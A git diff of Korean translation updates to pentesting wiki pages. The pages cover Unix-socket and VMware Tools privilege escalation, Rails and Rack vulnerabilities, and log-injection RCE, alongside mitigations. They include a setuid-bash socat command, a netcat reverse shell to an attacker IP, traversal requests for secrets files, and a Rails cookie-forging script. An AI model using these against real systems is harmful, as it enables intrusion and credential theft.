||||
```text
|
||||
INFO:Slither-Mutate:[CR] Line 33: 'cmdsToExecute.last().value = _cmd.value' ==> '//cmdsToExecute.last().value = _cmd.value' --> UNCAUGHT
|
||||
```
|
||||
주석 처리로 할당을 제거해도 테스트가 깨지지 않았으므로 post-state assertions가 누락되었음이 입증됨. 근본 원인: 실제 토큰 전송을 검증하지 않고 사용자 제어 `_cmd.value` 를 신뢰함. 공격자는 기대된 전송과 실제 전송을 비동기화시켜 자금을 유출할 수 있음. 결과: 프로토콜 지급능력(solency)에 대한 높은 심각도 위험.
|
||||
할당문을 주석 처리해도 테스트가 깨지지 않았는데, 이는 사후 상태 검증(post-state assertions)이 누락되었음을 증명한다. 근본 원인: 코드가 실제 토큰 전송을 검증하지 않고 사용자 제어 `_cmd.value`를 신뢰했다. 공격자는 기대된 전송과 실제 전송을 비동기화시켜 자금을 탈취할 수 있다. 결과: 프로토콜 지급능력에 대한 높은 심각도 위험.
|
||||
|
||||
Guidance: 값 전송, 회계(accounting) 또는 접근 제어에 영향을 주는 survivors는 삭제(kill)될 때까지 고위험으로 취급하라.
|
||||
지침: 가치 전송(value transfers), 회계(accounting) 또는 접근 제어(access control)에 영향을 미치는 survivors는 제거(killed)될 때까지 고위험으로 간주하라.
|
||||
|
||||
## 실무 체크리스트
|
||||
|
||||
- Run a targeted campaign:
|
||||
- `slither-mutate ./src/contracts --test-cmd="forge test"`
|
||||
- Triage survivors and write tests/invariants that would fail under the mutated behavior.
|
||||
- 잔액, 공급(supply), 권한(authorizations), 및 이벤트를 검증(assert)하라.
|
||||
- 경계 테스트 추가 (`==`, overflows/underflows, zero-address, zero-amount, empty arrays).
|
||||
- 비현실적인 mocks를 교체하고 실패 모드를 시뮬레이션하라.
|
||||
- 모든 mutants가 kill되거나 주석과 근거로 정당화될 때까지 반복하라.
|
||||
- Assert balances, supply, authorizations, and events.
|
||||
- Add boundary tests (`==`, overflows/underflows, zero-address, zero-amount, empty arrays).
|
||||
- Replace unrealistic mocks; simulate failure modes.
|
||||
- Iterate until all mutants are killed or justified with comments and rationale.
|
||||
|
||||
## References
|
||||
|
||||
|
File diff suppressed because it is too large
Load Diff
@ -2,9 +2,9 @@
|
||||
|
||||
{{#include ../../banners/hacktricks-training.md}}
|
||||
|
||||
## Python으로 된 Socket 바인딩 예제
|
||||
## Python을 사용한 Socket binding 예제
|
||||
|
||||
다음 예제에서는 **unix socket이 생성**됩니다 (`/tmp/socket_test.s`) 그리고 **수신된** 모든 내용은 `os.system`에 의해 **실행**됩니다. 실제로 이런 코드를 현장에서 만나긴 어렵겠지만, 이 예제의 목적은 unix sockets를 사용하는 코드가 어떻게 생겼는지와 최악의 경우 입력을 어떻게 처리해야 하는지를 보여주는 것입니다.
|
||||
다음 예제에서는 **unix socket이 생성됩니다** (`/tmp/socket_test.s`) 그리고 수신되는 모든 내용이 `os.system`에 의해 **실행**됩니다. 실제로 이런 코드를 현장에서 보게 되지는 않을 것이지만, 이 예제의 목적은 unix sockets를 사용하는 코드가 어떻게 보이는지와 최악의 경우 입력을 어떻게 처리해야 하는지를 살펴보는 것입니다.
|
||||
```python:s.py
|
||||
import socket
|
||||
import os, os.path
|
||||
@ -26,7 +26,7 @@ print(datagram)
|
||||
os.system(datagram)
|
||||
conn.close()
|
||||
```
|
||||
**실행** 코드를 python으로 실행하세요: `python s.py` 그리고 **소켓이 어떻게 리스닝되는지 확인하세요**:
|
||||
코드를 **실행**하려면 python을 사용하여: `python s.py` 그리고 **socket이 어떻게 listening하는지 확인하세요**:
|
||||
```python
|
||||
netstat -a -p --unix | grep "socket_test"
|
||||
(Not all processes could be identified, non-owned process info
|
||||
@ -39,13 +39,13 @@ echo "cp /bin/bash /tmp/bash; chmod +s /tmp/bash; chmod +x /tmp/bash;" | socat -
|
||||
```
|
||||
## 사례 연구: Root-owned UNIX socket signal-triggered escalation (LG webOS)
|
||||
|
||||
일부 privileged daemon들은 untrusted input을 받는 root-owned UNIX socket을 노출하고, privileged actions을 thread-IDs와 signals에 결합합니다. 프로토콜이 unprivileged client가 어떤 native thread가 타겟이 될지 영향을 줄 수 있게 허용한다면, privileged code path를 트리거해 escalate할 수 있습니다.
|
||||
권한 있는 일부 데몬은 신뢰할 수 없는 입력을 받는 root-owned UNIX socket을 노출하고, 권한이 필요한 동작을 thread-IDs와 signals에 연결합니다. 프로토콜이 비권한 클라이언트가 어느 native thread를 타깃으로 하는지 영향을 줄 수 있게 허용하면, 권한 있는 코드 경로를 유발하여 권한 상승을 시도할 수 있습니다.
|
||||
|
||||
관찰된 패턴:
|
||||
- root-owned socket에 연결 (예: /tmp/remotelogger).
|
||||
- 스레드를 생성하고 해당 native thread id (TID)를 얻는다.
|
||||
- 요청으로 TID (packed)와 padding을 함께 전송; acknowledgement를 받는다.
|
||||
- 해당 TID에 특정 signal을 전달하여 privileged behaviour를 트리거한다.
|
||||
Observed pattern:
|
||||
- root-owned socket에 연결합니다 (예: /tmp/remotelogger).
|
||||
- 스레드를 생성하고 native thread id (TID)를 얻습니다.
|
||||
- TID(패킹된 값)와 패딩을 함께 요청으로 전송하고, 확인 응답(acknowledgement)을 받습니다.
|
||||
- 해당 TID에 특정 signal을 전달해 권한 있는 동작을 트리거합니다.
|
||||
|
||||
간단한 PoC 스케치:
|
||||
```python
|
||||
@ -59,16 +59,16 @@ s.sendall(struct.pack('<L', tid) + b'A'*0x80)
|
||||
s.recv(4) # sync
|
||||
os.kill(tid, 4) # deliver SIGILL (example from the case)
|
||||
```
|
||||
이를 root shell로 만들려면, 간단한 named-pipe + nc 패턴을 사용할 수 있습니다:
|
||||
이를 root shell로 전환하려면, 간단한 named-pipe + nc 패턴을 사용할 수 있습니다:
|
||||
```bash
|
||||
rm -f /tmp/f; mkfifo /tmp/f
|
||||
cat /tmp/f | /bin/sh -i 2>&1 | nc <ATTACKER-IP> 23231 > /tmp/f
|
||||
```
|
||||
노트:
|
||||
- 이 유형의 버그는 권한 없는 클라이언트 상태(TIDs)에서 유래한 값을 신뢰하고 이를 권한 있는 시그널 핸들러나 로직에 바인딩함으로써 발생합니다.
|
||||
- 소켓에 대한 자격 증명을 강제하고, 메시지 형식을 검증하며, 외부에서 제공된 스레드 식별자와 권한 있는 작업을 분리하여 시스템을 강화하세요.
|
||||
- 이 유형의 취약점은 비특권 클라이언트 상태(TIDs)에서 유래한 값을 신뢰하고 이를 특권 신호 핸들러나 로직에 결합할 때 발생합니다.
|
||||
- 소켓에 대한 자격증명을 강제하고, 메시지 형식을 검증하며, 특권 작업을 외부에서 제공된 스레드 식별자와 분리하여 강화하세요.
|
||||
|
||||
## References
|
||||
## 참고 자료
|
||||
|
||||
- [LG WebOS TV Path Traversal, Authentication Bypass and Full Device Takeover (SSD Disclosure)](https://ssd-disclosure.com/lg-webos-tv-path-traversal-authentication-bypass-and-full-device-takeover/)
|
||||
|
||||
|
@ -1,8 +1,8 @@
|
||||
# VMware Tools service discovery LPE (CWE-426) via regex-based binary discovery (CVE-2025-41244)
|
||||
# VMware Tools 서비스 검색 LPE (CWE-426) - regex 기반 바이너리 검색 취약점 (CVE-2025-41244)
|
||||
|
||||
{{#include ../../banners/hacktricks-training.md}}
|
||||
|
||||
이 기법은 실행 중인 프로세스의 명령줄을 파싱해 서비스 버전을 유추한 뒤 후보 바이너리를 "version" 플래그로 실행하는 regex 기반의 service discovery 파이프라인을 악용합니다. 허용적인 패턴이 신뢰할 수 없는 공격자 제어 경로(예: /tmp/httpd)를 허용하면, 권한 있는 수집기가 신뢰할 수 없는 위치의 임의 바이너리를 실행하여 로컬 권한 상승을 일으킬 수 있습니다. NVISO는 이를 VMware Tools/Aria Operations Service Discovery에서 CVE-2025-41244로 문서화했습니다.
|
||||
이 기법은 실행 중인 프로세스의 명령줄을 파싱하여 서비스 버전을 추론한 뒤 후보 바이너리를 "version" 플래그로 실행하는 regex 기반의 service discovery 파이프라인을 악용합니다. 허용적인 패턴이 /tmp/httpd 같은 신뢰할 수 없는 공격자가 제어하는 경로를 허용하면, 권한 있는 수집 프로세스가 신뢰되지 않은 위치의 임의 바이너리를 실행하여 로컬 권한 상승이 발생합니다. NVISO는 이를 VMware Tools/Aria Operations Service Discovery에서 CVE-2025-41244로 문서화했습니다.
|
||||
|
||||
- Impact: Local privilege escalation to root (or to the privileged discovery account)
|
||||
- Root cause: Untrusted Search Path (CWE-426) + permissive regex matching of process command lines
|
||||
@ -10,14 +10,14 @@
|
||||
|
||||
## How VMware service discovery works (high level)
|
||||
|
||||
- Credential-based (legacy): Aria executes discovery scripts inside the guest via VMware Tools using configured privileged credentials.
|
||||
- Credential-less (modern): Discovery logic runs within VMware Tools, already privileged in the guest.
|
||||
- Credential-based (legacy): Aria가 구성된 권한 있는 자격증명을 사용해 VMware Tools를 통해 게스트 내부에서 discovery 스크립트를 실행합니다.
|
||||
- Credential-less (modern): Discovery 로직이 이미 게스트 내에서 권한을 가진 VMware Tools 내에서 실행됩니다.
|
||||
|
||||
두 모드 모두 궁극적으로 쉘 로직을 실행하여 수신 중인 소켓을 가진 프로세스를 스캔하고, regex로 일치하는 명령 경로를 추출한 뒤 첫 번째 argv 토큰을 version 플래그와 함께 실행합니다.
|
||||
두 모드 모두 궁극적으로 리스닝 소켓이 있는 프로세스를 스캔하고, 정규식으로 일치하는 명령 경로를 추출한 뒤 첫 번째 argv 토큰을 버전 플래그와 함께 실행하는 셸 로직을 실행합니다.
|
||||
|
||||
## Root cause and vulnerable pattern (open-vm-tools)
|
||||
|
||||
In open-vm-tools, the serviceDiscovery plugin script get-versions.sh matches candidate binaries using broad regular expressions and executes the first token without any trusted-path validation:
|
||||
open-vm-tools에서 serviceDiscovery 플러그인 스크립트 get-versions.sh는 넓은 정규식을 사용해 후보 바이너리를 매칭하고, trusted-path 검증 없이 첫 번째 토큰을 실행합니다:
|
||||
```bash
|
||||
get_version() {
|
||||
PATTERN=$1
|
||||
@ -29,7 +29,7 @@ COMMAND=$(get_command_line $p | grep -Eo "$PATTERN")
|
||||
done
|
||||
}
|
||||
```
|
||||
이는 \S (비공백)를 포함하는 관대한 패턴으로 호출되어 사용자 쓰기 가능한 위치의 비시스템 경로와 쉽게 일치합니다:
|
||||
이는 \S (공백이 아닌 문자)를 포함한 관대한 패턴으로 호출되어 사용자 쓰기 가능한 위치에 있는 비시스템 경로와 쉽게 매치됩니다:
|
||||
```bash
|
||||
get_version "/\S+/(httpd-prefork|httpd|httpd2-prefork)($|\s)" -v
|
||||
get_version "/usr/(bin|sbin)/apache\S*" -v
|
||||
@ -38,21 +38,21 @@ get_version "\.?/\S*nginx($|\s)" -v
|
||||
get_version "/\S+/srm/bin/vmware-dr($|\s)" --version
|
||||
get_version "/\S+/dataserver($|\s)" -v
|
||||
```
|
||||
- 추출은 grep -Eo를 사용하고 첫 번째 토큰을 취합니다: ${COMMAND%%[[:space:]]*}
|
||||
- 신뢰된 시스템 경로에 대한 whitelist/allowlist가 없으며, 일치하는 이름을 가진 리스너가 발견되면 -v/--version으로 실행됩니다
|
||||
- 추출은 grep -Eo를 사용하며 첫 토큰을 취함: ${COMMAND%%[[:space:]]*}
|
||||
- 신뢰된 시스템 경로에 대한 whitelist/allowlist가 없음; 일치하는 이름의 발견된 listener는 -v/--version으로 실행됨
|
||||
|
||||
이것은 untrusted search path execution primitive를 생성합니다: world-writable 디렉터리(예: /tmp/httpd)에 있는 임의의 바이너리가 권한 있는 구성 요소에 의해 실행됩니다.
|
||||
This creates an untrusted search path execution primitive: arbitrary binaries located in world-writable directories (e.g., /tmp/httpd) get executed by a privileged component.
|
||||
|
||||
## Exploitation (both credential-less and credential-based modes)
|
||||
|
||||
Preconditions
|
||||
- 게스트에서 리스닝 소켓을 여는 unprivileged 프로세스를 실행할 수 있어야 합니다.
|
||||
- discovery job이 활성화되어 주기적으로 실행됩니다(과거에는 약 5분 간격).
|
||||
- 게스트에서 listening socket을 여는 unprivileged 프로세스를 실행할 수 있어야 함.
|
||||
- discovery job이 활성화되어 주기적으로 실행되어야 함 (과거에는 약 5분).
|
||||
|
||||
Steps
|
||||
1) permissive regexes 중 하나와 일치하는 경로에 바이너리를 스테이징합니다(예: /tmp/httpd 또는 ./nginx)
|
||||
2) 권한이 낮은 사용자로 실행하고 리스닝 소켓이 열려 있는지 확인합니다
|
||||
3) 탐지 주기를 기다리면, 권한 있는 수집기(collector)가 자동으로 다음을 실행합니다: /tmp/httpd -v (또는 유사한 명령) — 이때 프로그램이 root로 실행됩니다
|
||||
1) 허용적인 regex 중 하나와 일치하는 경로에 바이너리를 스테이징(배치), 예: /tmp/httpd 또는 ./nginx
|
||||
2) 저권한 사용자로 실행하고 어떤 listening socket이라도 열도록 확인
|
||||
3) discovery cycle을 기다려라; privileged collector가 자동으로 실행함: /tmp/httpd -v (또는 유사), 당신의 프로그램을 root로 실행
|
||||
|
||||
Minimal demo (using NVISO’s approach)
|
||||
```bash
|
||||
@ -65,57 +65,57 @@ chmod +x /tmp/httpd
|
||||
/tmp/httpd # run as low-priv user and wait for the cycle
|
||||
# After the next cycle, expect a root shell or your privileged action
|
||||
```
|
||||
전형적인 프로세스 계보
|
||||
일반적인 프로세스 계보
|
||||
- Credential-based: /usr/bin/vmtoolsd -> /bin/sh /tmp/VMware-SDMP-Scripts-.../script_...sh -> /tmp/httpd -v -> /bin/sh -i
|
||||
- Credential-less: /bin/sh .../get-versions.sh -> /tmp/httpd -v -> /bin/sh -i
|
||||
|
||||
아티팩트 (credential-based)
|
||||
복구된 SDMP wrapper scripts가 /tmp/VMware-SDMP-Scripts-{UUID}/ 아래에 있을 경우 악성 경로의 직접 실행을 보여줄 수 있습니다:
|
||||
아티팩트 (자격 증명 기반)
|
||||
/tmp/VMware-SDMP-Scripts-{UUID}/ 아래에서 복구된 SDMP 래퍼 스크립트는 악성 경로를 직접 실행하는 것을 보여줄 수 있습니다:
|
||||
```bash
|
||||
/tmp/httpd -v >"/tmp/VMware-SDMP-Scripts-{UUID}/script_-{ID}_0.stdout" 2>"/tmp/VMware-SDMP-Scripts-{UUID}/script_-{ID}_0.stderr"
|
||||
```
|
||||
## 기법 일반화: regex-driven discovery abuse (portable pattern)
|
||||
|
||||
Many agents and monitoring suites implement version/service discovery by:
|
||||
- Enumerating processes with listening sockets
|
||||
- Grepping argv/command lines with permissive regexes (e.g., patterns containing \S)
|
||||
- Executing the matched path with a benign flag like -v, --version, -V, -h
|
||||
많은 에이전트와 모니터링 스위트는 버전/서비스 검색을 다음 방식으로 구현합니다:
|
||||
- 리스닝 소켓을 가진 프로세스 열거
|
||||
- argv/command lines를 허용적인 regex로 Grepping(예: \S를 포함하는 패턴)
|
||||
- 일치한 경로를 -v, --version, -V, -h 같은 무해한 플래그로 실행
|
||||
|
||||
If the regex accepts untrusted paths and the path is executed from a privileged context, you get CWE-426 Untrusted Search Path execution.
|
||||
만약 regex가 신뢰할 수 없는 경로를 허용하고 그 경로가 권한 있는 컨텍스트에서 실행되면, CWE-426 Untrusted Search Path execution이 발생합니다.
|
||||
|
||||
악용 절차
|
||||
- Name your binary like common daemons that the regex is likely to match: httpd, nginx, mysqld, dataserver
|
||||
- Place it in a writable directory: /tmp/httpd, ./nginx
|
||||
- Ensure it matches the regex and opens any port to be enumerated
|
||||
- Wait for the scheduled collector; you get an automatic privileged invocation of <path> -v
|
||||
악용 방법
|
||||
- 바이너리 이름을 regex가 매칭할 가능성이 높은 일반적인 데몬 이름처럼 지정: httpd, nginx, mysqld, dataserver
|
||||
- 쓰기 가능한 디렉토리에 배치: /tmp/httpd, ./nginx
|
||||
- regex에 매칭되고 열거되도록 임의의 포트를 오픈하도록 보장
|
||||
- 스케줄된 수집기를 기다리면 자동으로 권한 있는 <path> -v 호출을 얻음
|
||||
|
||||
Masquerading note: 이는 MITRE ATT&CK T1036.005 (Match Legitimate Name or Location)과 일치하여 매칭 확률과 은폐를 높입니다.
|
||||
Masquerading note: This aligns with MITRE ATT&CK T1036.005 (Match Legitimate Name or Location) to increase match probability and stealth.
|
||||
|
||||
Reusable privileged I/O relay trick
|
||||
- Build your helper so that on privileged invocation (-v/--version) it connects to a known rendezvous (e.g., a Linux abstract UNIX socket like @cve) and bridges stdio to /bin/sh -i. This avoids on-disk artifacts and works across many environments where the same binary is re-invoked with a flag.
|
||||
재사용 가능한 권한 있는 I/O 릴레이 기법
|
||||
- 헬퍼를 작성할 때 권한 있는 호출(-v/--version) 시 알려진 rendezvous(예: @cve 같은 Linux abstract UNIX socket)에 연결하고 stdio를 /bin/sh -i로 브리지하도록 만드세요. 이렇게 하면 디스크에 남는 아티팩트를 피할 수 있고 동일한 바이너리가 플래그와 함께 다시 호출되는 많은 환경에서 동작합니다.
|
||||
|
||||
## Detection and DFIR guidance
|
||||
|
||||
헌팅 쿼리
|
||||
- vmtoolsd 또는 get-versions.sh의 드문 자식 프로세스들(ex: /tmp/httpd, ./nginx, /tmp/mysqld)
|
||||
- discovery 스크립트에 의해 비시스템 절대 경로가 실행되는 모든 경우 (${COMMAND%%...} 확장에서 공백을 찾으세요)
|
||||
- ps -ef --forest로 조상 트리를 시각화: vmtoolsd -> get-versions.sh -> <non-system path>
|
||||
- vmtoolsd 또는 get-versions.sh의 흔치 않은 자식 프로세스 예: /tmp/httpd, ./nginx, /tmp/mysqld
|
||||
- discovery scripts에 의해 실행된 비시스템 절대 경로( ${COMMAND%%...} 확장 내의 공백을 찾아보세요 )
|
||||
- ps -ef --forest로 조상 트리 시각화: vmtoolsd -> get-versions.sh -> <non-system path>
|
||||
|
||||
On Aria SDMP (credential-based)
|
||||
- /tmp/VMware-SDMP-Scripts-{UUID}/를 검사하여 임시 스크립트와 공격자 경로의 실행을 보여주는 stdout/stderr 아티팩트 확인
|
||||
Aria SDMP(credential-based)에서
|
||||
- /tmp/VMware-SDMP-Scripts-{UUID}/를 검사하여 일시적 스크립트와 stdout/stderr 아티팩트에서 공격자 경로 실행 흔적을 확인
|
||||
|
||||
정책/텔레메트리
|
||||
- 권한 있는 컬렉터가 비시스템 접두사에서 실행될 때 알림: ^/(tmp|home|var/tmp|dev/shm)/
|
||||
- get-versions.sh 및 VMware Tools 플러그인에 대한 파일 무결성 모니터링
|
||||
정책/telemetry
|
||||
- 권한 있는 수집기가 비시스템 접두사에서 실행되면 경보: ^/(tmp|home|var/tmp|dev/shm)/
|
||||
- get-versions.sh 및 VMware Tools plugins에 대한 파일 무결성 모니터링
|
||||
|
||||
## 완화책
|
||||
## Mitigations
|
||||
|
||||
- 패치: Broadcom/VMware의 CVE-2025-41244 (Tools and Aria Operations SDMP) 업데이트 적용
|
||||
- 자격 증명 없는 discovery를 가능한 경우 비활성화하거나 제한
|
||||
- 신뢰된 경로 검증: 실행을 허용 목록 디렉터리(/usr/sbin, /usr/bin, /sbin, /bin)로 제한하고 정확히 알려진 바이너리만 허용
|
||||
- \S 같은 관대한 regex 사용을 피하고, 앵커된 명시적 절대 경로 및 정확한 명령 이름을 선호
|
||||
- discovery 헬퍼의 권한을 낮추고 가능한 경우 샌드박스(seccomp/AppArmor)로 영향 감소
|
||||
- vmtoolsd/get-versions.sh가 비시스템 경로를 실행하는지 모니터링 및 알림
|
||||
- Patch: CVE-2025-41244(Tools 및 Aria Operations SDMP)에 대한 Broadcom/VMware 업데이트 적용
|
||||
- 자격 증명 없이 실행되는 discovery를 가능하면 비활성화하거나 제한
|
||||
- 신뢰된 경로 검증: 실행을 허용된 디렉토리로 제한(/usr/sbin, /usr/bin, /sbin, /bin)하고 정확히 알려진 바이너리만 허용
|
||||
- \S 같은 허용적인 regex 회피; 앵커된(explicit) 절대 경로와 정확한 명령 이름을 선호
|
||||
- discovery 헬퍼의 권한을 가능한 한 낮추고, 영향 감소를 위해 sandbox(seccomp/AppArmor) 적용
|
||||
- vmtoolsd/get-versions.sh가 비시스템 경로를 실행하는지 모니터링 및 경보
|
||||
|
||||
## Notes for defenders and implementers
|
||||
|
||||
@ -137,8 +137,8 @@ esac
|
||||
```
|
||||
## 참고자료
|
||||
|
||||
- [NVISO – You name it, VMware elevates it (CVE-2025-41244)](https://blog.nviso.eu/2025/09/29/you-name-it-vmware-elevates-it-cve-2025-41244/)
|
||||
- [Broadcom – CVE-2025-41244 권고문](https://support.broadcom.com/web/ecx/support-content-notification/-/external/content/SecurityAdvisories/0/36149)
|
||||
- [NVISO – 이름만 대면, VMware가 권한을 상승시킵니다 (CVE-2025-41244)](https://blog.nviso.eu/2025/09/29/you-name-it-vmware-elevates-it-cve-2025-41244/)
|
||||
- [Broadcom의 CVE-2025-41244 권고](https://support.broadcom.com/web/ecx/support-content-notification/-/external/content/SecurityAdvisories/0/36149)
|
||||
- [open-vm-tools – serviceDiscovery/get-versions.sh (stable-13.0.0)](https://github.com/vmware/open-vm-tools/blob/stable-13.0.0/open-vm-tools/services/plugins/serviceDiscovery/get-versions.sh)
|
||||
- [MITRE ATT&CK T1036.005 – Match Legitimate Name or Location](https://attack.mitre.org/techniques/T1036/005/)
|
||||
- [CWE-426: Untrusted Search Path](https://cwe.mitre.org/data/definitions/426.html)
|
||||
|
@ -2,42 +2,42 @@
|
||||
|
||||
{{#include ../../banners/hacktricks-training.md}}
|
||||
|
||||
## 파일 업로드로 RCE
|
||||
## File upload to RCE
|
||||
|
||||
As explained in [this article](https://www.offsec.com/blog/cve-2024-46986/), uploading a `.rb` file into sensitive directories such as `config/initializers/` can lead to remote code execution (RCE) in Ruby on Rails applications.
|
||||
|
||||
팁:
|
||||
- 앱 시작 시 실행되는 다른 boot/eager-load 위치들도 쓰기 가능하면 위험합니다(예: `config/initializers/`가 고전적인 예). 임의 파일 업로드가 `config/` 아래 아무 위치에나 놓이고 나중에 평가되거나 require된다면 부팅 시 RCE를 얻을 수 있습니다.
|
||||
- Rails가 부팅 시 로드하도록 사용자 제어 파일을 컨테이너 이미지에 복사하는 dev/staging 빌드를 찾아보세요.
|
||||
- 앱 시작 시 실행되는 다른 boot/eager-load 위치도 쓰기 가능하면 위험합니다(예: `config/initializers/`가 전형적인 예). 임의 파일 업로드가 `config/` 아래 아무 곳에나 놓이고 나중에 평가(evaluated)/require 된다면 부팅 시 RCE를 얻을 수 있습니다.
|
||||
- Rails가 부팅 시 로드하는 위치로 사용자 제어 파일을 복사하는 dev/staging 빌드를 찾아보세요(컨테이너 이미지 내부 등).
|
||||
|
||||
## Active Storage image transformation → command execution (CVE-2025-24293)
|
||||
|
||||
애플리케이션이 Active Storage를 `image_processing` + `mini_magick`과 함께 사용하고 이미지 변환 메서드에 신뢰할 수 없는 파라미터를 전달하면, Rails 7.1.5.2 / 7.2.2.2 / 8.0.2.1 이전 버전에서 일부 변환 메서드가 기본적으로 잘못 허용되어 command injection이 발생할 수 있습니다.
|
||||
When an application uses Active Storage with `image_processing` + `mini_magick`, and passes untrusted parameters to image transformation methods, Rails versions prior to 7.1.5.2 / 7.2.2.2 / 8.0.2.1 could allow command injection because some transformation methods were mistakenly allowed by default.
|
||||
|
||||
- 취약한 패턴 예:
|
||||
- A vulnerable pattern looks like:
|
||||
```erb
|
||||
<%= image_tag blob.variant(params[:t] => params[:v]) %>
|
||||
```
|
||||
여기서 `params[:t]` 및/또는 `params[:v]`는 공격자가 제어할 수 있습니다.
|
||||
where `params[:t]` and/or `params[:v]` are attacker-controlled.
|
||||
|
||||
- 테스트 시 시도할 것
|
||||
- variant/processing 옵션, 변환 이름 또는 임의의 ImageMagick 인수를 받는 엔드포인트를 식별하세요.
|
||||
- `params[:t]`와 `params[:v]`를 fuzz해서 의심스러운 에러나 실행 부작용을 확인하세요. 메서드 이름에 영향을 주거나 MiniMagick으로 전달되는 원시 인수를 통과시킬 수 있다면 이미지 프로세서 호스트에서 코드 실행을 얻을 수 있습니다.
|
||||
- 생성된 variant에 대한 읽기 권한만 있다면, 조작된 ImageMagick 연산을 통해 blind exfiltration을 시도하세요.
|
||||
- 테스트 중 시도할 것
|
||||
- variant/processing 옵션, transformation 이름 또는 임의의 ImageMagick 인수를 허용하는 엔드포인트가 있는지 확인하세요.
|
||||
- Fuzz `params[:t]`와 `params[:v]`로 의심스러운 에러나 실행 부작용을 확인하세요. 메서드 이름에 영향을 주거나 MiniMagick에 도달하는 원시 인수를 전달할 수 있다면 이미지 프로세서 호스트에서 code exec을 얻을 수 있습니다.
|
||||
- 생성된 variant에 대해서만 읽기 권한만 있는 경우, 조작한 ImageMagick 연산을 통해 블라인드 exfiltration을 시도하세요.
|
||||
|
||||
- 완화/탐지
|
||||
- Active Storage + `image_processing` + `mini_magick`를 사용하고 사용자 제어 변환이 있는 Rails < 7.1.5.2 / 7.2.2.2 / 8.0.2.1을 보면 exploitable하다고 간주하세요. 업그레이드 권장 및 메서드/파라미터에 대해 엄격한 allowlists 적용과 강화된 ImageMagick policy를 권장합니다.
|
||||
- Active Storage + `image_processing` + `mini_magick`를 사용하고 user-controlled transformations가 있는 Rails < 7.1.5.2 / 7.2.2.2 / 8.0.2.1 환경은 exploitable로 간주하세요. 업그레이드와 메서드/파라미터에 대한 엄격한 allowlists 적용, 그리고 강화된 ImageMagick 정책을 권고합니다.
|
||||
|
||||
## Rack::Static LFI / path traversal (CVE-2025-27610)
|
||||
|
||||
타깃 스택이 Rack 미들웨어를 직접 사용하거나 프레임워크를 통해 사용하는 경우, `rack` 2.2.13, 3.0.14, 3.1.12 이전 버전은 `:root`가 unset/misconfigured일 때 `Rack::Static`을 통해 Local File Inclusion을 허용합니다. `PATH_INFO`에 인코딩된 traversal가 있으면 프로세스 작업 디렉터리 또는 예상치 못한 root 아래 파일이 노출될 수 있습니다.
|
||||
If the target stack uses Rack middleware directly or via frameworks, versions of `rack` prior to 2.2.13, 3.0.14, and 3.1.12 allow Local File Inclusion via `Rack::Static` when `:root` is unset/misconfigured. Encoded traversal in `PATH_INFO` can expose files under the process working directory or an unexpected root.
|
||||
|
||||
- `config.ru`나 미들웨어 스택에서 `Rack::Static`을 마운트한 앱을 찾아보세요. 정적 경로에 대해 인코딩된 traversal를 시도해보세요. 예:
|
||||
- `config.ru`나 미들웨어 스택에서 `Rack::Static`을 마운트한 앱을 찾아보세요. 예를 들어 정적 경로에 대해 인코딩된 traversal을 시도해 보세요:
|
||||
```text
|
||||
GET /assets/%2e%2e/%2e%2e/config/database.yml
|
||||
GET /favicon.ico/..%2f..%2f.env
|
||||
```
|
||||
설정된 `urls:`에 맞게 prefix를 조정하세요. 앱이 파일 내용을 응답하면, 해결된 `:root` 아래의 모든 항목에 대해 LFI가 있는 것입니다.
|
||||
구성된 `urls:` 접두사에 맞게 경로를 조정하세요. 앱이 파일 내용을 반환하면, 해결된 `:root` 아래의 모든 파일에 대해 LFI를 가졌을 가능성이 높습니다.
|
||||
|
||||
- 완화: Rack을 업그레이드하고 `:root`가 공개 파일 디렉터리만 가리키며 명시적으로 설정되어 있는지 확인하세요.
|
||||
|
||||
@ -45,7 +45,7 @@ GET /favicon.ico/..%2f..%2f.env
|
||||
|
||||
Rails encrypts and signs cookies using keys derived from `secret_key_base`. If that value leaks (e.g., in a repo, logs, or misconfigured credentials), you can usually decrypt, modify, and re-encrypt cookies. This often leads to authz bypass if the app stores roles, user IDs, or feature flags in cookies.
|
||||
|
||||
최신 쿠키를 복호화하고 재암호화하기 위한 최소한의 Ruby (AES-256-GCM, 최근 Rails의 기본):
|
||||
최소한의 Ruby로 modern cookies를 decrypt 및 re-encrypt 하는 방법(AES-256-GCM, recent Rails의 기본):
|
||||
```ruby
|
||||
require 'cgi'
|
||||
require 'json'
|
||||
@ -70,9 +70,9 @@ plain['role'] = 'admin' if plain.is_a?(Hash)
|
||||
forged = enc.encrypt_and_sign(plain)
|
||||
puts "Forged cookie: #{CGI.escape(forged)}"
|
||||
```
|
||||
참고:
|
||||
- 구형 앱은 AES-256-CBC와 `encrypted cookie` / `signed encrypted cookie` 같은 salts, 또는 JSON/Marshal serializers를 사용할 수 있습니다. 필요에 따라 salts, cipher, serializer를 조정하세요.
|
||||
- 권한 탈취/평가 시, 기존 쿠키를 모두 무효화하려면 `secret_key_base`를 회전(rotate)하세요.
|
||||
Notes:
|
||||
- Older apps may use AES-256-CBC and salts `encrypted cookie` / `signed encrypted cookie`, or JSON/Marshal serializers. Adjust salts, cipher, and serializer accordingly.
|
||||
- On compromise/assessment, rotate `secret_key_base` to invalidate all existing cookies.
|
||||
|
||||
## See also (Ruby/Rails-specific vulns)
|
||||
|
||||
@ -92,9 +92,83 @@ puts "Forged cookie: #{CGI.escape(forged)}"
|
||||
{{#endref}}
|
||||
|
||||
|
||||
## Log Injection → RCE via Ruby `load` and `Pathname.cleanpath` smuggling
|
||||
|
||||
## References
|
||||
앱(종종 간단한 Rack/Sinatra/Rails 엔드포인트)이 다음 둘을 모두 만족할 때:
|
||||
- 사용자 제어 문자열을 그대로 로그에 기록하고,
|
||||
- 이후 동일한 문자열로부터 파생된 경로에 있는 파일을 `load`한다 (`Pathname#cleanpath` 이후),
|
||||
|
||||
- Rails 보안 공지: CVE-2025-24293 Active Storage unsafe transformation methods (fixed in 7.1.5.2 / 7.2.2.2 / 8.0.2.1). https://discuss.rubyonrails.org/t/cve-2025-24293-active-storage-allowed-transformation-methods-potentially-unsafe/89670
|
||||
로그를 오염시킨 뒤 앱이 해당 로그 파일을 `load`하도록 유도하면 종종 원격 코드 실행(remote code execution)을 달성할 수 있습니다. 핵심 원리:
|
||||
|
||||
- Ruby의 `load`는 파일 확장자와 무관하게 대상 파일의 내용을 Ruby로 평가합니다. 내용이 Ruby로 파싱되는 모든 읽을 수 있는 텍스트 파일이 실행됩니다.
|
||||
